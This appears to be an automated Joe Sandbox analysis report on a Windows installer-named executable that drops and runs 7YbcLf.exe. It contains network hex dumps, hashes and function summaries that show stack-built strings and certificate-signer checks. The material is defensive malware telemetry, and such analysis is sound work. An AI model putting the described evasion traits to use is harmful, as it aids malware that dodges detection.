2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 54 bc 07 e5 0b cf 29 e5 4d cb 4b 3f 50 10 53 d4 51 39 34 17 1a 9c 1a d3 69 1b 5f 9c ee de c9 23 14 6d ad 70 20 ac c7 5f 38 3d 66 af 55 37 d2 58 7c bc 3c 17 79 b2 fa d0 16 d7 3f fe ab 83 58 42 4f 46 07 b0 96 a8 4f 21 4f 0d 88 07 db cd 76 a3 15 4f d7 53 9c f9 5b 4f 03 1c 00 1e 3d 61 23 3f 3b 3b 3b a4 a4 a5 ea a7 24 e6 aa 27 f9 29 32 51 74 1d 66 3f f1 09 62 33 f5 7d 06 5f c1 d7 ca 00 68 b5 86 c3 03 c8 be cb 06 67 c6 9f 1b 48 d3 2d 16 e3 15 6f 9d 91 95 14 55 bd 9f eb 8d e4 27 b3 64 aa 22 b2 88 be eb 28 44 bd af a0 34 3a 70 b0 5c b4 c2 3d e5 5a bb 40 7f b8 bf b0 45 20 5c c3 4f 94 ee 8e 43 37 82 40 cc 84 d6 44 12 10 3a d7 7c c5 d7 9f 55 98 3a d6 9f c5 96 db 6b d0 c6 e1 90 eb ae 62 1e e9 93 e2 a4 1a 30 6c 3a b1 f2 7a a7 dd 75 8c c8 f9 f5 d9 71 7c cf 38 43 31 03 Data Ascii: T)MK?PSQ94i_#mp _8=fU7X\|<y?XBOFO!OvOS[O=a#?;;;$')2Qtf?b3}_hgH-oU'd"(D4:p\=Z@E \OC7@D:\|U:kb0l:zuq\|8C1
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: f3 a7 28 8e 5b 19 24 50 24 1f be 3f 1e 7a 22 a2 3a 49 49 49 3a da 6f 3d 68 39 06 6d 0e e7 63 ae b5 b8 ff c5 06 9d 04 24 9b 1f bf 02 73 20 1c e2 19 d6 d6 c8 c7 39 18 70 34 7d b6 4b 61 56 31 4b cc 01 56 63 79 71 0c 29 0a 83 a6 0e 85 d3 ec 15 94 56 2d f7 20 d6 e8 7a cc 0d 3c 6f e0 de 2e e8 aa b4 23 17 4a a6 66 83 8a cd 0c 9f 5b 6a b4 30 4c 3d 77 9c 6d b0 78 fe b5 7c 7c 19 ac 08 b3 87 85 44 b7 f3 c8 b2 0f 42 44 4a cd c7 a3 10 d6 5c c5 85 a4 44 17 7a a8 29 a6 49 4f f2 9a 49 0d 8d 05 a3 6c d2 58 ad e9 7d 36 9e 67 a0 12 67 28 b7 6e a2 67 2d 53 f7 31 f0 88 bc 1e c6 bf e1 b6 f4 41 0c b2 e1 83 38 b0 ba 4d b8 d1 6f cc f1 b4 d3 5d d2 3d f0 52 9a fa 53 dc da 35 ff 63 08 e4 97 f0 d0 07 e6 e7 08 96 e1 7d ed 6e 6e f1 84 3a 7d bc 96 d6 92 71 fe cb f5 df c3 10 bf 83 d5 82 Data Ascii: ([$P$?z":III:o=h9mc$s 9p4}KaV1KVcyq)V- z<o.#Jf[j0L=wmx\|\|DBDJ\Dz)IOIlX}6gg(ng-S1A8Mo]=RS5c}nn:}q
2025-04-28 14:41:07 UTC	4096	IN	Data Raw: 1c c5 1d 73 1a 40 b0 7b 44 0d d4 59 86 2f e3 96 eb 00 16 59 cc 19 1a f0 1c f5 7d 56 20 a8 b2 ef e0 74 15 fc e8 ab 5e 2b 20 65 ab fd 44 36 7f b6 34 f5 43 2c b0 20 d2 11 3a 2d 3e 3f fb 57 c3 d1 5c ad a4 77 4c 49 4a c0 8c 58 0f 01 1c da 52 9a 18 7e 97 14 d2 5d 52 5b 1d d5 5f 16 9f a0 e6 a3 64 11 82 2f eb 83 6b 1e 80 c4 ee 60 05 a8 32 7d 84 f5 02 cc f8 5a 12 7b 97 b9 bd 59 5f 41 ab 42 a5 8f 94 3e 49 9a 62 ab 0c f7 78 8a 25 91 33 92 94 97 e2 bd 21 8e 1b 1b 98 62 8b 17 71 a1 a2 e3 ac a1 a1 1e 68 fa aa 66 85 ec 16 ae 70 8e b2 09 a1 b5 b6 f7 f9 99 37 f3 be 55 2b 3f c3 78 c1 da c5 ca 51 32 88 b6 db cb aa ab c1 83 cf 55 92 db 54 cf fd 06 d8 e8 ae d3 b6 2a 1f de f3 95 ff ec 52 e5 e7 dd ec e3 9f b6 a4 12 ae 2e b9 0e 3a 87 a6 b5 da b9 7a b1 f9 fc 89 1e b7 44 80 05 02 Data Ascii: s@{DY/Y}V t^+ eD64C, :->?W\wLIJXR~]R[_d/k`2}Z{Y_AB>Ibx%3!bqhfp7U+?xQ2UT*R.:zD
2025-04-28 14:41:08 UTC	4096	IN	Data Raw: cd 70 0a 61 8b f2 02 2b 03 9e ce e6 b3 90 6d 4c 4d 54 97 37 6d 6b 56 90 1b 1d 1b 56 20 aa e2 6b 07 e0 6f 04 ec 29 62 f8 c4 4b ad d7 38 47 3a 34 8e 34 96 33 d3 76 49 3e 1c 7c b4 e8 ab 09 e0 42 cf 87 46 0f 9b a9 02 60 8e 04 6d 4f 90 18 d7 97 21 66 17 d4 58 a7 6a 2f 45 14 9f b7 64 ed 2a db 47 75 a6 44 4b ac 26 ab 6f 2d bd 87 9b 60 3a cb f5 c7 76 77 78 89 05 37 f9 bd 3f 70 80 14 42 c2 a6 55 0c 45 63 c9 a2 b6 8c 8f 8e 8f 30 80 17 93 4f e1 35 db a1 a6 e6 05 2c 76 0d a2 a0 41 a9 e0 a6 35 e6 a5 48 d4 21 40 2c 9f ae e3 50 fd 1a ff d1 b5 95 ef fd f4 fb e7 5d 9f dd c7 b4 c5 e6 d3 e6 89 8b 4c 10 85 41 49 1e cd d1 87 55 03 a7 e0 f5 19 77 f6 9c 54 80 cd 94 fd 9c f7 84 2b ab ed 79 ca 09 c6 24 00 85 8b fe a0 de 6a 2b 84 e9 12 a0 14 f0 4c ee ea 9b cc 9d c8 38 bf 20 06 5a Data Ascii: pa+mLMT7mkVV ko)bK8G:443vI>\|BF`mO!fXj/Ed*GuDK&o-`:vwx7?pBUEc0O5,vA5H!@,P]LAIUwT+y$j+L8 Z

Statistics

CPU Usage

• #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
• 7YbcLf.exe

Click to jump to process

Memory Usage

• #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
• 7YbcLf.exe

Click to jump to process

High Level Behavior Distribution

• File
• Registry

Click to dive into process behavior distribution

Behavior

• #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
• 7YbcLf.exe

Click to jump to process

Target ID:	0
Start time:	10:39:11
Start date:	28/04/2025
Path:	C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe"
Imagebase:	0x140000000
File size:	23'573'176 bytes
MD5 hash:	9FF4BE4B365F1345FF43EE1716F7D0A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:41:07
Start date:	28/04/2025
Path:	C:\Users\user\Documents\7YbcLf.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\7YbcLf.exe
Imagebase:	0x7ff752d10000
File size:	138'776 bytes
MD5 hash:	DF76205EAF175184567FC44A83019B20
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage

Dynamic/Packed Code Coverage

Signature Coverage

Execution Coverage:	2.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	6.8%
Total number of Nodes:	720
Total number of Limit Nodes:	10

Executed Functions

Function 00007FF752D13CA9 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 347
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 00007FF752D13FB6
@, xrefs: 00007FF752D13D80

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 0dd360fd04809f972682b0a52577e24ce017f8b1cd9c751401ac34e51fc80e73
Instruction ID: bcfaddae276a7c45702ebcd03ee24e513c5a596caca9f8566e0487274400f361
Opcode Fuzzy Hash: 0dd360fd04809f972682b0a52577e24ce017f8b1cd9c751401ac34e51fc80e73
Instruction Fuzzy Hash: 9212F932619B8086DBA4CB19E48076EF7A0F7C8B54F545126EA8E87BA8DF7CD450CB50

Function 00007FF752D14330 Relevance: 1.6, APIs: 1, Instructions: 125
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00007FF752D143F6

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 98438039e33463d4e652b996c8292c94279decd7456648971fd38e929aab13de
Instruction ID: 3fe02a534842f51984788a562de3ed5d2f83307e1b516cdce21c46d7c450c6eb
Opcode Fuzzy Hash: 98438039e33463d4e652b996c8292c94279decd7456648971fd38e929aab13de
Instruction Fuzzy Hash: 7E61F572619BC582DBB0CB19E4903AEA360FBC8B44F444036DA8E87B68DF7DD445CB50

Function 00007FF752D12FC0 Relevance: 124.4, APIs: 1, Strings: 70, Instructions: 136
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE ref: 00007FF752D13001

Strings

M, xrefs: 00007FF752D13284
y, xrefs: 00007FF752D132AC
l, xrefs: 00007FF752D13121
c, xrefs: 00007FF752D1322C
t, xrefs: 00007FF752D13264
o, xrefs: 00007FF752D13224
r, xrefs: 00007FF752D13154
e, xrefs: 00007FF752D13244
L, xrefs: 00007FF752D13144
r, xrefs: 00007FF752D1325C
r, xrefs: 00007FF752D1317C
V, xrefs: 00007FF752D1324C
a, xrefs: 00007FF752D13274
d, xrefs: 00007FF752D131C4
L, xrefs: 00007FF752D132D4
d, xrefs: 00007FF752D132C4
G, xrefs: 00007FF752D1315C
l, xrefs: 00007FF752D1313A
t, xrefs: 00007FF752D1331C
r, xrefs: 00007FF752D132A4
n, xrefs: 00007FF752D13334
e, xrefs: 00007FF752D13164
u, xrefs: 00007FF752D131A4
A, xrefs: 00007FF752D1320C
d, xrefs: 00007FF752D1319C
t, xrefs: 00007FF752D13117
o, xrefs: 00007FF752D1329C
r, xrefs: 00007FF752D132CC
l, xrefs: 00007FF752D1321C
i, xrefs: 00007FF752D1333C
N, xrefs: 00007FF752D131FC
o, xrefs: 00007FF752D132DC
I, xrefs: 00007FF752D1332C
m, xrefs: 00007FF752D13294
r, xrefs: 00007FF752D131AC
i, xrefs: 00007FF752D13254
l, xrefs: 00007FF752D13135
s, xrefs: 00007FF752D131EC
d, xrefs: 00007FF752D132EC
r, xrefs: 00007FF752D131D4
d, xrefs: 00007FF752D13130
u, xrefs: 00007FF752D1326C
e, xrefs: 00007FF752D1328C
a, xrefs: 00007FF752D132E4
l, xrefs: 00007FF752D1327C
L, xrefs: 00007FF752D132BC
t, xrefs: 00007FF752D1323C
., xrefs: 00007FF752D1312B
t, xrefs: 00007FF752D1316C
A, xrefs: 00007FF752D131BC
l, xrefs: 00007FF752D13304
d, xrefs: 00007FF752D131CC
n, xrefs: 00007FF752D13112
o, xrefs: 00007FF752D13184
l, xrefs: 00007FF752D132FC
d, xrefs: 00007FF752D1311C
l, xrefs: 00007FF752D13324
a, xrefs: 00007FF752D13234
P, xrefs: 00007FF752D13174
t, xrefs: 00007FF752D13204
l, xrefs: 00007FF752D13126
c, xrefs: 00007FF752D1318C
s, xrefs: 00007FF752D131E4
R, xrefs: 00007FF752D13314
l, xrefs: 00007FF752D13214
D, xrefs: 00007FF752D132F4
e, xrefs: 00007FF752D131DC
d, xrefs: 00007FF752D1314C
e, xrefs: 00007FF752D131B4
e, xrefs: 00007FF752D13194

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: FileRead
String ID: .$A$A$D$G$I$L$L$L$M$N$P$R$V$a$a$a$c$c$d$d$d$d$d$d$d$d$e$e$e$e$e$e$i$i$l$l$l$l$l$l$l$l$l$l$m$n$n$o$o$o$o$r$r$r$r$r$r$r$s$s$t$t$t$t$t$t$u$u$y
API String ID: 2738559852-1965609705
Opcode ID: 79c85e39f9cbffc2efb37411a4b056f2aac5e19369ed82b95aa51f7d4d3f4e01
Instruction ID: ca714d7a7a037b92aaaeb1706fd99e1cdb4df2845b2f44bb2237e6a865a02dcd
Opcode Fuzzy Hash: 79c85e39f9cbffc2efb37411a4b056f2aac5e19369ed82b95aa51f7d4d3f4e01
Instruction Fuzzy Hash: 1D919A2250D7C0C9E372C768E41879FBF91E396748F084199C7C94BA9AC6BEC558CB36

Function 00007FF752D12F58 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 85
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF752D12FBE
ReadFile.KERNELBASE ref: 00007FF752D13001

Strings

l, xrefs: 00007FF752D12F6D
., xrefs: 00007FF752D12F63
c, xrefs: 00007FF752D12F54
l, xrefs: 00007FF752D12F86
l, xrefs: 00007FF752D12F8B
v, xrefs: 00007FF752D12F4F
m, xrefs: 00007FF752D12F7C
d, xrefs: 00007FF752D12F67
a, xrefs: 00007FF752D12F81
s, xrefs: 00007FF752D12F4A
o, xrefs: 00007FF752D12F90
t, xrefs: 00007FF752D12F5E
r, xrefs: 00007FF752D12F59
c, xrefs: 00007FF752D12F95
l, xrefs: 00007FF752D12F72
d, xrefs: 00007FF752D12F68

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: FileReadmalloc
String ID: .$a$c$c$d$d$l$l$l$l$m$o$r$s$t$v
API String ID: 856370052-1628026266
Opcode ID: 2ec9f53486f167685c9b30720e582e176ab5607d743db366a11b7598a7e201d0
Instruction ID: 1c333b4c3b60de727f01c7175008697e2a74429b65b924746f5698dc7ca61d0b
Opcode Fuzzy Hash: 2ec9f53486f167685c9b30720e582e176ab5607d743db366a11b7598a7e201d0
Instruction Fuzzy Hash: 4041F83361C7C08AE7628B68E4583DABBA1E3D5B14F140169D7C947B5ACBAEC149CF21

Function 00007FF752D12F34 Relevance: 31.6, APIs: 2, Strings: 16, Instructions: 51
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF752D12FBE
ReadFile.KERNELBASE ref: 00007FF752D13001

Strings

l, xrefs: 00007FF752D12F6D
., xrefs: 00007FF752D12F63
c, xrefs: 00007FF752D12F54
l, xrefs: 00007FF752D12F86
l, xrefs: 00007FF752D12F8B
m, xrefs: 00007FF752D12F45
v, xrefs: 00007FF752D12F4F
m, xrefs: 00007FF752D12F7C
a, xrefs: 00007FF752D12F81
s, xrefs: 00007FF752D12F4A
o, xrefs: 00007FF752D12F90
t, xrefs: 00007FF752D12F5E
r, xrefs: 00007FF752D12F59
c, xrefs: 00007FF752D12F95
l, xrefs: 00007FF752D12F72
d, xrefs: 00007FF752D12F68

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: FileReadmalloc
String ID: .$a$c$c$d$l$l$l$l$m$m$o$r$s$t$v
API String ID: 856370052-2574083433
Opcode ID: f9308e4bc041fe600d3565d07728ba101a74700d451691f9dfdcf0e57c666784
Instruction ID: f72052a98870578ad3e46274e2c7a9b0bb555904bb43ed6c421f3ab91dde6d64
Opcode Fuzzy Hash: f9308e4bc041fe600d3565d07728ba101a74700d451691f9dfdcf0e57c666784
Instruction Fuzzy Hash: 4831953251D7C0CAE362CB69E45839AFBE1E399744F140159E7C846B6ACBBEC158CF21

Function 00007FF752D12E9C Relevance: 17.5, APIs: 1, Strings: 9, Instructions: 28
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 00007FF752D12F1B

Strings

e, xrefs: 00007FF752D12ED1
h, xrefs: 00007FF752D12ECC
t, xrefs: 00007FF752D12EE5
., xrefs: 00007FF752D12ED6
c, xrefs: 00007FF752D12EC7
a, xrefs: 00007FF752D12EE0
d, xrefs: 00007FF752D12EDB
a, xrefs: 00007FF752D12EC2
c, xrefs: 00007FF752D12EBD

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: CreateFile
String ID: .$a$a$c$c$d$e$h$t
API String ID: 823142352-1751721336
Opcode ID: 78dcbe0fa1350bad73690e7ff7bc317abf9a3f9199edde4405f61649dc371aa2
Instruction ID: d191b8800a4a0dda255541fa2129f054e52cd885413991b73ef656b425add64b
Opcode Fuzzy Hash: 78dcbe0fa1350bad73690e7ff7bc317abf9a3f9199edde4405f61649dc371aa2
Instruction Fuzzy Hash: E601CC3214C7C085E321C625F45879FAE92E3E5748F484158E6C807F9ACBBED158CB61

Function 00007FF752D14426 Relevance: 1.6, APIs: 1, Instructions: 54
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00007FF752D143F6

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: e1cf1cef11d6e5b6e6d072436e9ea9b3ecd07beef524207dc6198a4e55ac1695
Instruction ID: 8381e886afc902419237cc92a90d28f25d594cbdd7b0dab6c7654762cbfd72a9
Opcode Fuzzy Hash: e1cf1cef11d6e5b6e6d072436e9ea9b3ecd07beef524207dc6198a4e55ac1695
Instruction Fuzzy Hash: 0C219872608BC986DAB0CB19E4907AEB3A1F7C8B44F844026E6CE87B58DF7CD455CB50

Function 00007FF752D14360 Relevance: 1.5, APIs: 1, Instructions: 37
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00007FF752D143F6

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 6f0d3ed9ba89722752ecd01e58d2064350ee24b56a938eeae8ff7f1f9e4c9116
Instruction ID: 95d00fcd3b68588a2bda04351793d699fdf6528cd8faf6ac6490dcb62466970b
Opcode Fuzzy Hash: 6f0d3ed9ba89722752ecd01e58d2064350ee24b56a938eeae8ff7f1f9e4c9116
Instruction Fuzzy Hash: 49117576608AC586DAB0DB15E8543EEA3A1F7C8749F808026D6CE87B58DF3CD559CB40

Function 00007FF752D143BC Relevance: 1.5, APIs: 1, Instructions: 36
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00007FF752D143F6

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 7aa3e51b9b579c823f96398b602bb631d43326b4c54fd787193dff14d21a12c6
Instruction ID: d2cccdf4d6bfc35cfc2c3773d26f050041084ecd56cbd1f0942837f0db98c321
Opcode Fuzzy Hash: 7aa3e51b9b579c823f96398b602bb631d43326b4c54fd787193dff14d21a12c6
Instruction Fuzzy Hash: 2E0121B364D7C28FC7534F709C153DC3BB0E791B54F454466C38487A45EA5C8A4ACB55

Function 00007FF752D14364 Relevance: 1.5, APIs: 1, Instructions: 35
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00007FF752D143F6

Memory Dump Source

Source File: 0000000C.00000002.2365577949.00007FF752D11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF752D10000, based on PE: true

Associated: 0000000C.00000002.2365560634.00007FF752D10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365619220.00007FF752D2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000C.00000002.2365637706.00007FF752D2E000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff752d10000_7YbcLf.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 3f404799c478e0384cfa94c630043f0069646ccfc839539ce29ae5eba2b41daf
Instruction ID: 9fd4b02cebf5fa831b420da8c38830a82588e14ea40cf7be5ed46d3783b0077a
Opcode Fuzzy Hash: 3f404799c478e0384cfa94c630043f0069646ccfc839539ce29ae5eba2b41daf
Instruction Fuzzy Hash: 8D117572608AC586DAB0DB15E8543EEB3A1F7C8749F808026D6CD87B58DF3DD559CB40

Non-executed Functions

Function 00007FF752D1190C Relevance: 138.9, APIs: 44, Strings: 35, Instructions: 627
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF752D119D8
ProcessIdToSessionId.KERNEL32 ref: 00007FF752D119E5
GetSystemDirectoryW.KERNEL32 ref: 00007FF752D119F7
LoadLibraryW.KERNEL32 ref: 00007FF752D11A29
GetProcAddress.KERNEL32 ref: 00007FF752D11A4E
GetProcAddress.KERNEL32 ref: 00007FF752D11A7A
GetProcAddress.KERNEL32 ref: 00007FF752D11AA9
GetProcAddress.KERNEL32 ref: 00007FF752D11ADB
FileTimeToLocalFileTime.KERNEL32 ref: 00007FF752D11CA1
FileTimeToSystemTime.KERNEL32 ref: 00007FF752D11CB0
StrStrIA.SHLWAPI ref: 00007FF752D11D51
StrStrIA.SHLWAPI ref: 00007FF752D11D65
StrStrIA.SHLWAPI ref: 00007FF752D11D7C
StrStrIA.SHLWAPI ref: 00007FF752D11D93
StrStrIA.SHLWAPI ref: 00007FF752D11DAA
StrStrIA.SHLWAPI ref: 00007FF752D11DBE
StrStrIA.SHLWAPI ref: 00007FF752D11DD2
FreeLibrary.KERNEL32 ref: 00007FF752D12339

Strings

Tool_windows, xrefs: 00007FF752D1194B
SignedBy, xrefs: 00007FF752D11EB1, 00007FF752D1217E
Certificate Description, xrefs: 00007FF752D11E90, 00007FF752D1215D
*status, xrefs: 00007FF752D121EB
CN=Gemalto, xrefs: 00007FF752D11D47, 00007FF752D11E03, 00007FF752D12014, 00007FF752D120D0
%.2d/%.2d/%.4d at %.2d:%2.d:%.2d, xrefs: 00007FF752D11CEB, 00007FF752D11FB5
szCertDesc, xrefs: 00007FF752D11E81, 00007FF752D1214E
pwszSourceFile, xrefs: 00007FF752D11961
LogEvent, xrefs: 00007FF752D12216
Signature Date, xrefs: 00007FF752D11D0F, 00007FF752D11FDC
OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.2.5.4.15=Private Organization, SERIALNUMBER=2177038, C=US, S=Texas, L=Austin, O="Thales DIS CPL USA, Inc.", OU=Security Team, CN="Thales DIS CPL USA, Inc.", xrefs: 00007FF752D11D72, 00007FF752D11E2B, 00007FF752D1203F, 00007FF752D120F8
, xrefs: 00007FF752D11B25
dwEventCategory, xrefs: 00007FF752D1222C
WTHelperProvDataFromStateData, xrefs: 00007FF752D11A70
wTHelperGetProvSignerFromChain, xrefs: 00007FF752D122F2
etVerifyEmbeddedSignature, xrefs: 00007FF752D11944
dwMsgId, xrefs: 00007FF752D12244
CN=Microsoft, xrefs: 00007FF752D11D89, 00007FF752D11E3F, 00007FF752D12056, 00007FF752D1210C
SACEventsMsg, xrefs: 00007FF752D1221D
CN=SentryBay Limited, xrefs: 00007FF752D11DA0, 00007FF752D11DC8, 00007FF752D11DD7, 00007FF752D11E53, 00007FF752D1206D, 00007FF752D12095, 00007FF752D120A4, 00007FF752D12120
wTHelperProvDataFromStateData, xrefs: 00007FF752D122DC
